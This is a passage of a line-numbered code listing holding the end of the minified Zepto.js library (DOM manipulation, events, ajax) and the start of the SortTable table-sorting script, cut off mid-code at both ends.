m.test(b)&&(g=c(h.createElement(RegExp.$1))),g||(b.replace&&(b=b.replace(n,"<$1></$2>")),d===a&&(d=l.test(b)&&RegExp.$1),d in u||(d="*"),j=u[d],j.innerHTML=""+b,g=c.each(f.call(j.childNodes),function(){j.removeChild(this)})),L(e)&&(i=c(g),c.each(e,function(a,b){q.indexOf(a)>-1?i[a](b):i.attr(a,b)})),g},B.Z=function(a,b){return a=a||[],a.__proto__=c.fn,a.selector=b||"",a},B.isZ=function(a){return a instanceof B.Z},B.init=function(b,d){var e;if(!b)return B.Z();if(typeof b=="string"){b=b.trim();if(b[0]=="<"&&l.test(b))e=B.fragment(b,RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}else{if(H(b))return c(h).ready(b);if(B.isZ(b))return b;if(M(b))e=O(b);else if(K(b))e=[b],b=null;else if(l.test(b))e=B.fragment(b.trim(),RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}return B.Z(e,b)},c=function(a,b){return B.init(a,b)},c.extend=function(a){var b,c=f.call(arguments,1);return typeof a=="boolean"&&(b=a,a=c.shift()),c.forEach(function(c){V(a,c,b)}),a},B.qsa=function(a,b){var c,d=b[0]=="#",e=!d&&b[0]==".",g=d||e?b.slice(1):b,h=y.test(g);return J(a)&&h&&d?(c=a.getElementById(g))?[c]:[]:a.nodeType!==1&&a.nodeType!==9?[]:f.call(h&&!d?e?a.getElementsByClassName(g):a.getElementsByTagName(b):a.querySelectorAll(b))},c.contains=function(a,b){return a!==b&&a.contains(b)},c.type=G,c.isFunction=H,c.isWindow=I,c.isArray=M,c.isPlainObject=L,c.isEmptyObject=function(a){var b;for(b in a)return!1;return!0},c.inArray=function(a,b,c){return e.indexOf.call(b,a,c)},c.camelCase=C,c.trim=function(a){return a==null?"":String.prototype.trim.call(a)},c.uuid=0,c.support={},c.expr={},c.map=function(a,b){var c,d=[],e,f;if(N(a))for(e=0;e<a.length;e++)c=b(a[e],e),c!=null&&d.push(c);else for(f in a)c=b(a[f],f),c!=null&&d.push(c);return P(d)},c.each=function(a,b){var c,d;if(N(a)){for(c=0;c<a.length;c++)if(b.call(a[c],c,a[c])===!1)return a}else for(d in a)if(b.call(a[d],d,a[d])===!1)return a;return a},c.grep=function(a,b){return g.call(a,b)},window.JSON&&(c.parseJSON=JSON.parse),c.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){z["[object "+b+"]"]=b.toLowerCase()}),c.fn={forEach:e.forEach,reduce:e.reduce,push:e.push,sort:e.sort,indexOf:e.indexOf,concat:e.concat,map:function(a){return c(c.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return c(f.apply(this,arguments))},ready:function(a){return v.test(h.readyState)&&h.body?a(c):h.addEventListener("DOMContentLoaded",function(){a(c)},!1),this},get:function(b){return b===a?f.call(this):this[b>=0?b:b+this.length]},toArray:function(){return this.get()},size:function(){return this.length},remove:function(){return this.each(function(){this.parentNode!=null&&this.parentNode.removeChild(this)})},each:function(a){return e.every.call(this,function(b,c){return a.call(b,c,b)!==!1}),this},filter:function(a){return H(a)?this.not(this.not(a)):c(g.call(this,function(b){return B.matches(b,a)}))},add:function(a,b){return c(D(this.concat(c(a,b))))},is:function(a){return this.length>0&&B.matches(this[0],a)},not:function(b){var d=[];if(H(b)&&b.call!==a)this.each(function(a){b.call(this,a)||d.push(this)});else{var e=typeof b=="string"?this.filter(b):N(b)&&H(b.item)?f.call(b):c(b);this.forEach(function(a){e.indexOf(a)<0&&d.push(a)})}return c(d)},has:function(a){return this.filter(function(){return K(a)?c.contains(this,a):c(this).find(a).size()})},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){var a=this[0];return a&&!K(a)?a:c(a)},last:function(){var a=this[this.length-1];return a&&!K(a)?a:c(a)},find:function(a){var b,d=this;return typeof a=="object"?b=c(a).filter(function(){var a=this;return e.some.call(d,function(b){return c.contains(b,a)})}):this.length==1?b=c(B.qsa(this[0],a)):b=this.map(function(){return B.qsa(this,a)}),b},closest:function(a,b){var d=this[0],e=!1;typeof a=="object"&&(e=c(a));while(d&&!(e?e.indexOf(d)>=0:B.matches(d,a)))d=d!==b&&!J(d)&&d.parentNode;return c(d)},parents:function(a){var b=[],d=this;while(d.length>0)d=c.map(d,function(a){if((a=a.parentNode)&&!J(a)&&b.indexOf(a)<0)return b.push(a),a});return W(b,a)},parent:function(a){return W(D(this.pluck("parentNode")),a)},children:function(a){return W(this.map(function(){return U(this)}),a)},contents:function(){return this.map(function(){return f.call(this.childNodes)})},siblings:function(a){return W(this.map(function(a,b){return g.call(U(b.parentNode),function(a){return a!==b})}),a)},empty:function(){return this.each(function(){this.innerHTML=""})},pluck:function(a){return c.map(this,function(b){return b[a]})},show:function(){return this.each(function(){this.style.display=="none"&&(this.style.display=""),getComputedStyle(this,"").getPropertyValue("display")=="none"&&(this.style.display=T(this.nodeName))})},replaceWith:function(a){return this.before(a).remove()},wrap:function(a){var b=H(a);if(this[0]&&!b)var d=c(a).get(0),e=d.parentNode||this.length>1;return this.each(function(f){c(this).wrapAll(b?a.call(this,f):e?d.cloneNode(!0):d)})},wrapAll:function(a){if(this[0]){c(this[0]).before(a=c(a));var b;while((b=a.children()).length)a=b.first();c(a).append(this)}return this},wrapInner:function(a){var b=H(a);return this.each(function(d){var e=c(this),f=e.contents(),g=b?a.call(this,d):a;f.length?f.wrapAll(g):e.append(g)})},unwrap:function(){return this.parent().each(function(){c(this).replaceWith(c(this).children())}),this},clone:function(){return this.map(function(){return this.cloneNode(!0)})},hide:function(){return this.css("display","none")},toggle:function(b){return this.each(function(){var d=c(this);(b===a?d.css("display")=="none":b)?d.show():d.hide()})},prev:function(a){return c(this.pluck("previousElementSibling")).filter(a||"*")},next:function(a){return c(this.pluck("nextElementSibling")).filter(a||"*")},html:function(a){return arguments.length===0?this.length>0?this[0].innerHTML:null:this.each(function(b){var d=this.innerHTML;c(this).empty().append(X(this,a,b,d))})},text:function(b){return arguments.length===0?this.length>0?this[0].textContent:null:this.each(function(){this.textContent=b===a?"":""+b})},attr:function(c,d){var e;return typeof c=="string"&&d===a?this.length==0||this[0].nodeType!==1?a:c=="value"&&this[0].nodeName=="INPUT"?this.val():!(e=this[0].getAttribute(c))&&c in this[0]?this[0][c]:e:this.each(function(a){if(this.nodeType!==1)return;if(K(c))for(b in c)Y(this,b,c[b]);else Y(this,c,X(this,d,a,this.getAttribute(c)))})},removeAttr:function(a){return this.each(function(){this.nodeType===1&&Y(this,a)})},prop:function(b,c){return b=F[b]||b,c===a?this[0]&&this[0][b]:this.each(function(a){this[b]=X(this,c,a,this[b])})},data:function(b,c){var d=this.attr("data-"+b.replace(p,"-$1").toLowerCase(),c);return d!==null?$(d):a},val:function(a){return arguments.length===0?this[0]&&(this[0].multiple?c(this[0]).find("option").filter(function(){return this.selected}).pluck("value"):this[0].value):this.each(function(b){this.value=X(this,a,b,this.value)})},offset:function(a){if(a)return this.each(function(b){var d=c(this),e=X(this,a,b,d.offset()),f=d.offsetParent().offset(),g={top:e.top-f.top,left:e.left-f.left};d.css("position")=="static"&&(g.position="relative"),d.css(g)});if(this.length==0)return null;var b=this[0].getBoundingClientRect();return{left:b.left+window.pageXOffset,top:b.top+window.pageYOffset,width:Math.round(b.width),height:Math.round(b.height)}},css:function(a,d){if(arguments.length<2){var e=this[0],f=getComputedStyle(e,"");if(!e)return;if(typeof a=="string")return e.style[C(a)]||f.getPropertyValue(a);if(M(a)){var g={};return c.each(M(a)?a:[a],function(a,b){g[b]=e.style[C(b)]||f.getPropertyValue(b)}),g}}var h="";if(G(a)=="string")!d&&d!==0?this.each(function(){this.style.removeProperty(Q(a))}):h=Q(a)+":"+S(a,d);else for(b in a)!a[b]&&a[b]!==0?this.each(function(){this.style.removeProperty(Q(b))}):h+=Q(b)+":"+S(b,a[b])+";";return this.each(function(){this.style.cssText+=";"+h})},index:function(a){return a?this.indexOf(c(a)[0]):this.parent().children().indexOf(this[0])},hasClass:function(a){return a?e.some.call(this,function(a){return this.test(Z(a))},R(a)):!1},addClass:function(a){return a?this.each(function(b){d=[];var e=Z(this),f=X(this,a,b,e);f.split(/\s+/g).forEach(function(a){c(this).hasClass(a)||d.push(a)},this),d.length&&Z(this,e+(e?" ":"")+d.join(" "))}):this},removeClass:function(b){return this.each(function(c){if(b===a)return Z(this,"");d=Z(this),X(this,b,c,d).split(/\s+/g).forEach(function(a){d=d.replace(R(a)," ")}),Z(this,d.trim())})},toggleClass:function(b,d){return b?this.each(function(e){var f=c(this),g=X(this,b,e,Z(this));g.split(/\s+/g).forEach(function(b){(d===a?!f.hasClass(b):d)?f.addClass(b):f.removeClass(b)})}):this},scrollTop:function(b){if(!this.length)return;var c="scrollTop"in this[0];return b===a?c?this[0].scrollTop:this[0].pageYOffset:this.each(c?function(){this.scrollTop=b}:function(){this.scrollTo(this.scrollX,b)})},scrollLeft:function(b){if(!this.length)return;var c="scrollLeft"in this[0];return b===a?c?this[0].scrollLeft:this[0].pageXOffset:this.each(c?function(){this.scrollLeft=b}:function(){this.scrollTo(b,this.scrollY)})},position:function(){if(!this.length)return;var a=this[0],b=this.offsetParent(),d=this.offset(),e=o.test(b[0].nodeName)?{top:0,left:0}:b.offset();return d.top-=parseFloat(c(a).css("margin-top"))||0,d.left-=parseFloat(c(a).css("margin-left"))||0,e.top+=parseFloat(c(b[0]).css("border-top-width"))||0,e.left+=parseFloat(c(b[0]).css("border-left-width"))||0,{top:d.top-e.top,left:d.left-e.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||h.body;while(a&&!o.test(a.nodeName)&&c(a).css("position")=="static")a=a.offsetParent;return a})}},c.fn.detach=c.fn.remove,["width","height"].forEach(function(b){var d=b.replace(/./,function(a){return a[0].toUpperCase()});c.fn[b]=function(e){var f,g=this[0];return e===a?I(g)?g["inner"+d]:J(g)?g.documentElement["scroll"+d]:(f=this.offset())&&f[b]:this.each(function(a){g=c(this),g.css(b,X(this,e,a,g[b]()))})}}),r.forEach(function(a,b){var d=b%2;c.fn[a]=function(){var a,e=c.map(arguments,function(b){return a=G(b),a=="object"||a=="array"||b==null?b:B.fragment(b)}),f,g=this.length>1;return e.length<1?this:this.each(function(a,h){f=d?h:h.parentNode,h=b==0?h.nextSibling:b==1?h.firstChild:b==2?h:null,e.forEach(function(a){if(g)a=a.cloneNode(!0);else if(!f)return c(a).remove();_(f.insertBefore(a,h),function(a){a.nodeName!=null&&a.nodeName.toUpperCase()==="SCRIPT"&&(!a.type||a.type==="text/javascript")&&!a.src&&window.eval.call(window,a.innerHTML)})})})},c.fn[d?a+"To":"insert"+(b?"Before":"After")]=function(b){return c(b)[a](this),this}}),B.Z.prototype=c.fn,B.uniq=D,B.deserializeValue=$,c.zepto=B,c}();window.Zepto=Zepto,window.$===undefined&&(window.$=Zepto),function(a){function m(a){return a._zid||(a._zid=c++)}function n(a,b,c,d){b=o(b);if(b.ns)var e=p(b.ns);return(h[m(a)]||[]).filter(function(a){return a&&(!b.e||a.e==b.e)&&(!b.ns||e.test(a.ns))&&(!c||m(a.fn)===m(c))&&(!d||a.sel==d)})}function o(a){var b=(""+a).split(".");return{e:b[0],ns:b.slice(1).sort().join(" ")}}function p(a){return new RegExp("(?:^| )"+a.replace(" "," .* ?")+"(?: |$)")}function q(a,b){return a.del&&!j&&a.e in k||!!b}function r(a){return l[a]||j&&k[a]||a}function s(b,c,e,f,g,i,j){var k=m(b),n=h[k]||(h[k]=[]);c.split(/\s/).forEach(function(c){if(c=="ready")return a(document).ready(e);var h=o(c);h.fn=e,h.sel=g,h.e in l&&(e=function(b){var c=b.relatedTarget;if(!c||c!==this&&!a.contains(this,c))return h.fn.apply(this,arguments)}),h.del=i;var k=i||e;h.proxy=function(a){a=y(a);if(a.isImmediatePropagationStopped())return;a.data=f;var c=k.apply(b,a._args==d?[a]:[a].concat(a._args));return c===!1&&(a.preventDefault(),a.stopPropagation()),c},h.i=n.length,n.push(h),"addEventListener"in b&&b.addEventListener(r(h.e),h.proxy,q(h,j))})}function t(a,b,c,d,e){var f=m(a);(b||"").split(/\s/).forEach(function(b){n(a,b,c,d).forEach(function(b){delete h[f][b.i],"removeEventListener"in a&&a.removeEventListener(r(b.e),b.proxy,q(b,e))})})}function y(b,c){if(c||!b.isDefaultPrevented){c||(c=b),a.each(x,function(a,d){var e=c[a];b[a]=function(){return this[d]=u,e&&e.apply(c,arguments)},b[d]=v});if(c.defaultPrevented!==d?c.defaultPrevented:"returnValue"in c?c.returnValue===!1:c.getPreventDefault&&c.getPreventDefault())b.isDefaultPrevented=u}return b}function z(a){var b,c={originalEvent:a};for(b in a)!w.test(b)&&a[b]!==d&&(c[b]=a[b]);return y(c,a)}var b=a.zepto.qsa,c=1,d,e=Array.prototype.slice,f=a.isFunction,g=function(a){return typeof a=="string"},h={},i={},j="onfocusin"in window,k={focus:"focusin",blur:"focusout"},l={mouseenter:"mouseover",mouseleave:"mouseout"};i.click=i.mousedown=i.mouseup=i.mousemove="MouseEvents",a.event={add:s,remove:t},a.proxy=function(b,c){if(f(b)){var d=function(){return b.apply(c,arguments)};return d._zid=m(b),d}if(g(c))return a.proxy(b[c],b);throw new TypeError("expected function")},a.fn.bind=function(a,b,c){return this.on(a,b,c)},a.fn.unbind=function(a,b){return this.off(a,b)},a.fn.one=function(a,b,c,d){return this.on(a,b,c,d,1)};var u=function(){return!0},v=function(){return!1},w=/^([A-Z]|returnValue$|layer[XY]$)/,x={preventDefault:"isDefaultPrevented",stopImmediatePropagation:"isImmediatePropagationStopped",stopPropagation:"isPropagationStopped"};a.fn.delegate=function(a,b,c){return this.on(b,a,c)},a.fn.undelegate=function(a,b,c){return this.off(b,a,c)},a.fn.live=function(b,c){return a(document.body).delegate(this.selector,b,c),this},a.fn.die=function(b,c){return a(document.body).undelegate(this.selector,b,c),this},a.fn.on=function(b,c,h,i,j){var k,l,m=this;if(b&&!g(b))return a.each(b,function(a,b){m.on(a,c,h,b,j)}),m;!g(c)&&!f(i)&&i!==!1&&(i=h,h=c,c=d);if(f(h)||h===!1)i=h,h=d;return i===!1&&(i=v),m.each(function(d,f){j&&(k=function(a){return t(f,a.type,i),i.apply(this,arguments)}),c&&(l=function(b){var d,g=a(b.target).closest(c,f).get(0);if(g&&g!==f)return d=a.extend(z(b),{currentTarget:g,liveFired:f}),(k||i).apply(g,[d].concat(e.call(arguments,1)))}),s(f,b,i,h,c,l||k)})},a.fn.off=function(b,c,e){var h=this;return b&&!g(b)?(a.each(b,function(a,b){h.off(a,c,b)}),h):(!g(c)&&!f(e)&&e!==!1&&(e=c,c=d),e===!1&&(e=v),h.each(function(){t(this,b,e,c)}))},a.fn.trigger=function(b,c){return b=g(b)||a.isPlainObject(b)?a.Event(b):y(b),b._args=c,this.each(function(){"dispatchEvent"in this?this.dispatchEvent(b):a(this).triggerHandler(b,c)})},a.fn.triggerHandler=function(b,c){var d,e;return this.each(function(f,h){d=z(g(b)?a.Event(b):b),d._args=c,d.target=h,a.each(n(h,b.type||b),function(a,b){e=b.proxy(d);if(d.isImmediatePropagationStopped())return!1})}),e},"focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select keydown keypress keyup error".split(" ").forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.trigger(b)}}),["focus","blur"].forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.each(function(){try{this[b]()}catch(a){}}),this}}),a.Event=function(a,b){g(a)||(b=a,a=b.type);var c=document.createEvent(i[a]||"Events"),d=!0;if(b)for(var e in b)e=="bubbles"?d=!!b[e]:c[e]=b[e];return c.initEvent(a,d,!0),y(c)}}(Zepto),function($){function triggerAndReturn(a,b,c){var d=$.Event(b);return $(a).trigger(d,c),!d.isDefaultPrevented()}function triggerGlobal(a,b,c,d){if(a.global)return triggerAndReturn(b||document,c,d)}function ajaxStart(a){a.global&&$.active++===0&&triggerGlobal(a,null,"ajaxStart")}function ajaxStop(a){a.global&&!--$.active&&triggerGlobal(a,null,"ajaxStop")}function ajaxBeforeSend(a,b){var c=b.context;if(b.beforeSend.call(c,a,b)===!1||triggerGlobal(b,c,"ajaxBeforeSend",[a,b])===!1)return!1;triggerGlobal(b,c,"ajaxSend",[a,b])}function ajaxSuccess(a,b,c,d){var e=c.context,f="success";c.success.call(e,a,f,b),d&&d.resolveWith(e,[a,f,b]),triggerGlobal(c,e,"ajaxSuccess",[b,c,a]),ajaxComplete(f,b,c)}function ajaxError(a,b,c,d,e){var f=d.context;d.error.call(f,c,b,a),e&&e.rejectWith(f,[c,b,a]),triggerGlobal(d,f,"ajaxError",[c,d,a||b]),ajaxComplete(b,c,d)}function ajaxComplete(a,b,c){var d=c.context;c.complete.call(d,b,a),triggerGlobal(c,d,"ajaxComplete",[b,c]),ajaxStop(c)}function empty(){}function mimeToDataType(a){return a&&(a=a.split(";",2)[0]),a&&(a==htmlType?"html":a==jsonType?"json":scriptTypeRE.test(a)?"script":xmlTypeRE.test(a)&&"xml")||"text"}function appendQuery(a,b){return b==""?a:(a+"&"+b).replace(/[&?]{1,2}/,"?")}function serializeData(a){a.processData&&a.data&&$.type(a.data)!="string"&&(a.data=$.param(a.data,a.traditional)),a.data&&(!a.type||a.type.toUpperCase()=="GET")&&(a.url=appendQuery(a.url,a.data),a.data=undefined)}function parseArguments(a,b,c,d){var e=!$.isFunction(b);return{url:a,data:e?b:undefined,success:e?$.isFunction(c)?c:undefined:b,dataType:e?d||c:c}}function serialize(a,b,c,d){var e,f=$.isArray(b),g=$.isPlainObject(b);$.each(b,function(b,h){e=$.type(h),d&&(b=c?d:d+"["+(g||e=="object"||e=="array"?b:"")+"]"),!d&&f?a.add(h.name,h.value):e=="array"||!c&&e=="object"?serialize(a,h,c,b):a.add(b,h)})}var jsonpID=0,document=window.document,key,name,rscript=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,scriptTypeRE=/^(?:text|application)\/javascript/i,xmlTypeRE=/^(?:text|application)\/xml/i,jsonType="application/json",htmlType="text/html",blankRE=/^\s*$/;$.active=0,$.ajaxJSONP=function(a,b){if("type"in a){var c=a.jsonpCallback,d=($.isFunction(c)?c():c)||"jsonp"+ ++jsonpID,e=document.createElement("script"),f=window[d],g,h=function(a){$(e).triggerHandler("error",a||"abort")},i={abort:h},j;return b&&b.promise(i),$(e).on("load error",function(c,h){clearTimeout(j),$(e).off().remove(),c.type=="error"||!g?ajaxError(null,h||"error",i,a,b):ajaxSuccess(g[0],i,a,b),window[d]=f,g&&$.isFunction(f)&&f(g[0]),f=g=undefined}),ajaxBeforeSend(i,a)===!1?(h("abort"),i):(window[d]=function(){g=arguments},e.src=a.url.replace(/=\?/,"="+d),document.head.appendChild(e),a.timeout>0&&(j=setTimeout(function(){h("timeout")},a.timeout)),i)}return $.ajax(a)},$.ajaxSettings={type:"GET",beforeSend:empty,success:empty,error:empty,complete:empty,context:null,global:!0,xhr:function(){return new window.XMLHttpRequest},accepts:{script:"text/javascript, application/javascript, application/x-javascript",json:jsonType,xml:"application/xml, text/xml",html:htmlType,text:"text/plain"},crossDomain:!1,timeout:0,processData:!0,cache:!0},$.ajax=function(options){var settings=$.extend({},options||{}),deferred=$.Deferred&&$.Deferred();for(key in $.ajaxSettings)settings[key]===undefined&&(settings[key]=$.ajaxSettings[key]);ajaxStart(settings),settings.crossDomain||(settings.crossDomain=/^([\w-]+:)?\/\/([^\/]+)/.test(settings.url)&&RegExp.$2!=window.location.host),settings.url||(settings.url=window.location.toString()),serializeData(settings),settings.cache===!1&&(settings.url=appendQuery(settings.url,"_="+Date.now()));var dataType=settings.dataType,hasPlaceholder=/=\?/.test(settings.url);if(dataType=="jsonp"||hasPlaceholder)return hasPlaceholder||(settings.url=appendQuery(settings.url,settings.jsonp?settings.jsonp+"=?":settings.jsonp===!1?"":"callback=?")),$.ajaxJSONP(settings,deferred);var mime=settings.accepts[dataType],headers={},setHeader=function(a,b){headers[a.toLowerCase()]=[a,b]},protocol=/^([\w-]+:)\/\//.test(settings.url)?RegExp.$1:window.location.protocol,xhr=settings.xhr(),nativeSetHeader=xhr.setRequestHeader,abortTimeout;deferred&&deferred.promise(xhr),settings.crossDomain||setHeader("X-Requested-With","XMLHttpRequest"),setHeader("Accept",mime||"*/*");if(mime=settings.mimeType||mime)mime.indexOf(",")>-1&&(mime=mime.split(",",2)[0]),xhr.overrideMimeType&&xhr.overrideMimeType(mime);(settings.contentType||settings.contentType!==!1&&settings.data&&settings.type.toUpperCase()!="GET")&&setHeader("Content-Type",settings.contentType||"application/x-www-form-urlencoded");if(settings.headers)for(name in settings.headers)setHeader(name,settings.headers[name]);xhr.setRequestHeader=setHeader,xhr.onreadystatechange=function(){if(xhr.readyState==4){xhr.onreadystatechange=empty,clearTimeout(abortTimeout);var result,error=!1;if(xhr.status>=200&&xhr.status<300||xhr.status==304||xhr.status==0&&protocol=="file:"){dataType=dataType||mimeToDataType(settings.mimeType||xhr.getResponseHeader("content-type")),result=xhr.responseText;try{dataType=="script"?(1,eval)(result):dataType=="xml"?result=xhr.responseXML:dataType=="json"&&(result=blankRE.test(result)?null:$.parseJSON(result))}catch(e){error=e}error?ajaxError(error,"parsererror",xhr,settings,deferred):ajaxSuccess(result,xhr,settings,deferred)}else ajaxError(xhr.statusText||null,xhr.status?"error":"abort",xhr,settings,deferred)}};if(ajaxBeforeSend(xhr,settings)===!1)return xhr.abort(),ajaxError(null,"abort",xhr,settings,deferred),xhr;if(settings.xhrFields)for(name in settings.xhrFields)xhr[name]=settings.xhrFields[name];var async="async"in settings?settings.async:!0;xhr.open(settings.type,settings.url,async,settings.username,settings.password);for(name in headers)nativeSetHeader.apply(xhr,headers[name]);return settings.timeout>0&&(abortTimeout=setTimeout(function(){xhr.onreadystatechange=empty,xhr.abort(),ajaxError(null,"timeout",xhr,settings,deferred)},settings.timeout)),xhr.send(settings.data?settings.data:null),xhr},$.get=function(a,b,c,d){return $.ajax(parseArguments.apply(null,arguments))},$.post=function(a,b,c,d){var e=parseArguments.apply(null,arguments);return e.type="POST",$.ajax(e)},$.getJSON=function(a,b,c){var d=parseArguments.apply(null,arguments);return d.dataType="json",$.ajax(d)},$.fn.load=function(a,b,c){if(!this.length)return this;var d=this,e=a.split(/\s/),f,g=parseArguments(a,b,c),h=g.success;return e.length>1&&(g.url=e[0],f=e[1]),g.success=function(a){d.html(f?$("<div>").html(a.replace(rscript,"")).find(f):a),h&&h.apply(d,arguments)},$.ajax(g),this};var escape=encodeURIComponent;$.param=function(a,b){var c=[];return c.add=function(a,b){this.push(escape(a)+"="+escape(b))},serialize(c,a,b),c.join("&").replace(/%20/g,"+")}}(Zepto),function(a){a.fn.serializeArray=function(){var b=[],c;return a([].slice.call(this.get(0).elements)).each(function(){c=a(this);var d=c.attr("type");this.nodeName.toLowerCase()!="fieldset"&&!this.disabled&&d!="submit"&&d!="reset"&&d!="button"&&(d!="radio"&&d!="checkbox"||this.checked)&&b.push({name:c.attr("name"),value:c.val()})}),b},a.fn.serialize=function(){var a=[];return this.serializeArray().forEach(function(b){a.push(encodeURIComponent(b.name)+"="+encodeURIComponent(b.value))}),a.join("&")},a.fn.submit=function(b){if(b)this.bind("submit",b);else if(this.length){var c=a.Event("submit");this.eq(0).trigger(c),c.isDefaultPrevented()||this.get(0).submit()}return this}}(Zepto),function(a){"__proto__"in{}||a.extend(a.zepto,{Z:function(b,c){return b=b||[],a.extend(b,a.fn),b.selector=c||"",b.__Z=!0,b},isZ:function(b){return a.type(b)==="array"&&"__Z"in b}});try{getComputedStyle(undefined)}catch(b){var c=getComputedStyle;window.getComputedStyle=function(a){try{return c(a)}catch(b){return null}}}}(Zepto)
  2797.  
  2798.  
  2799. /**
  2800. *
  2801. * SortTable
  2802. * version 2
  2803. * 7th April 2007
  2804. * Stuart Langridge, http://www.kryogenix.org/code/browser/sorttable/
  2805. *
  2806. **/
  2807. var h=!0,j=!1;
  2808. sorttable={e:function(){arguments.callee.i||(arguments.callee.i=h,k&&clearInterval(k),document.createElement&&document.getElementsByTagName&&(sorttable.a=/^(\d\d?)[\/\.-](\d\d?)[\/\.-]((\d\d)?\d\d)$/,l(document.getElementsByTagName("table"),function(a){-1!=a.className.search(/\bsortable\b/)&&sorttable.k(a)})))},k:function(a){0==a.getElementsByTagName("thead").length&&(the=document.createElement("thead"),the.appendChild(a.rows[0]),a.insertBefore(the,a.firstChild));null==a.tHead&&(a.tHead=a.getElementsByTagName("thead")[0]);
  2809. if(1==a.tHead.rows.length){sortbottomrows=[];for(var b=0;b<a.rows.length;b++)-1!=a.rows[b].className.search(/\bsortbottom\b/)&&(sortbottomrows[sortbottomrows.length]=a.rows[b]);if(sortbottomrows){null==a.tFoot&&(tfo=document.createElement("tfoot"),a.appendChild(tfo));for(b=0;b<sortbottomrows.length;b++)tfo.appendChild(sortbottomrows[b]);delete sortbottomrows}headrow=a.tHead.rows[0].cells;for(b=0;b<headrow.length;b++)if(!headrow[b].className.match(/\bsorttable_nosort\b/)){(mtch=headrow[b].className.match(/\bsorttable_([a-z0-9]+)\b/))&&
  2810. (override=mtch[1]);headrow[b].p=mtch&&"function"==typeof sorttable["sort_"+override]?sorttable["sort_"+override]:sorttable.j(a,b);headrow[b].o=b;headrow[b].c=a.tBodies[0];var c=headrow[b],e=sorttable.q=function(){if(-1!=this.className.search(/\bsorttable_sorted\b/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted","sorttable_sorted_reverse"),this.removeChild(document.getElementById("sorttable_sortfwdind")),sortrevind=document.createElement("span"),sortrevind.id="sorttable_sortrevind",
  2811. sortrevind.innerHTML="&nbsp;&#x25B4;",this.appendChild(sortrevind);else if(-1!=this.className.search(/\bsorttable_sorted_reverse\b/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted_reverse","sorttable_sorted"),this.removeChild(document.getElementById("sorttable_sortrevind")),sortfwdind=document.createElement("span"),sortfwdind.id="sorttable_sortfwdind",sortfwdind.innerHTML="&nbsp;&#x25BE;",this.appendChild(sortfwdind);else{theadrow=this.parentNode;l(theadrow.childNodes,
  2812. function(a){1==a.nodeType&&(a.className=a.className.replace("sorttable_sorted_reverse",""),a.className=a.className.replace("sorttable_sorted",""))});(sortfwdind=document.getElementById("sorttable_sortfwdind"))&&sortfwdind.parentNode.removeChild(sortfwdind);(sortrevind=document.getElementById("sorttable_sortrevind"))&&sortrevind.parentNode.removeChild(sortrevind);this.className+=" sorttable_sorted";sortfwdind=document.createElement("span");sortfwdind.id="sorttable_sortfwdind";sortfwdind.innerHTML=
  2813. "&nbsp;&#x25BE;";this.appendChild(sortfwdind);row_array=[];col=this.o;rows=this.c.rows;for(var a=0;a<rows.length;a++)row_array[row_array.length]=[sorttable.d(rows[a].cells[col]),rows[a]];row_array.sort(this.p);tb=this.c;for(a=0;a<row_array.length;a++)tb.appendChild(row_array[a][1]);delete row_array}};if(c.addEventListener)c.addEventListener("click",e,j);else{e.f||(e.f=n++);c.b||(c.b={});var g=c.b.click;g||(g=c.b.click={},c.onclick&&(g[0]=c.onclick));g[e.f]=e;c.onclick=p}}}},j:function(a,b){sortfn=
  2814. sorttable.l;for(var c=0;c<a.tBodies[0].rows.length;c++)if(text=sorttable.d(a.tBodies[0].rows[c].cells[b]),""!=text){if(text.match(/^-?[\u00a3$\u00a4]?[\d,.]+%?$/))return sorttable.n;if(possdate=text.match(sorttable.a)){first=parseInt(possdate[1]);second=parseInt(possdate[2]);if(12<first)return sorttable.g;if(12<second)return sorttable.m;sortfn=sorttable.g}}return sortfn},d:function(a){if(!a)return"";hasInputs="function"==typeof a.getElementsByTagName&&a.getElementsByTagName("input").length;if(""!=
  2815. a.title)return a.title;if("undefined"!=typeof a.textContent&&!hasInputs)return a.textContent.replace(/^\s+|\s+$/g,"");if("undefined"!=typeof a.innerText&&!hasInputs)return a.innerText.replace(/^\s+|\s+$/g,"");if("undefined"!=typeof a.text&&!hasInputs)return a.text.replace(/^\s+|\s+$/g,"");switch(a.nodeType){case 3:if("input"==a.nodeName.toLowerCase())return a.value.replace(/^\s+|\s+$/g,"");case 4:return a.nodeValue.replace(/^\s+|\s+$/g,"");case 1:case 11:for(var b="",c=0;c<a.childNodes.length;c++)b+=
  2816. sorttable.d(a.childNodes[c]);return b.replace(/^\s+|\s+$/g,"");default:return""}},reverse:function(a){newrows=[];for(var b=0;b<a.rows.length;b++)newrows[newrows.length]=a.rows[b];for(b=newrows.length-1;0<=b;b--)a.appendChild(newrows[b]);delete newrows},n:function(a,b){aa=parseFloat(a[0].replace(/[^0-9.-]/g,""));isNaN(aa)&&(aa=0);bb=parseFloat(b[0].replace(/[^0-9.-]/g,""));isNaN(bb)&&(bb=0);return aa-bb},l:function(a,b){return a[0].toLowerCase()==b[0].toLowerCase()?0:a[0].toLowerCase()<b[0].toLowerCase()?
  2817. -1:1},g:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},m:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&
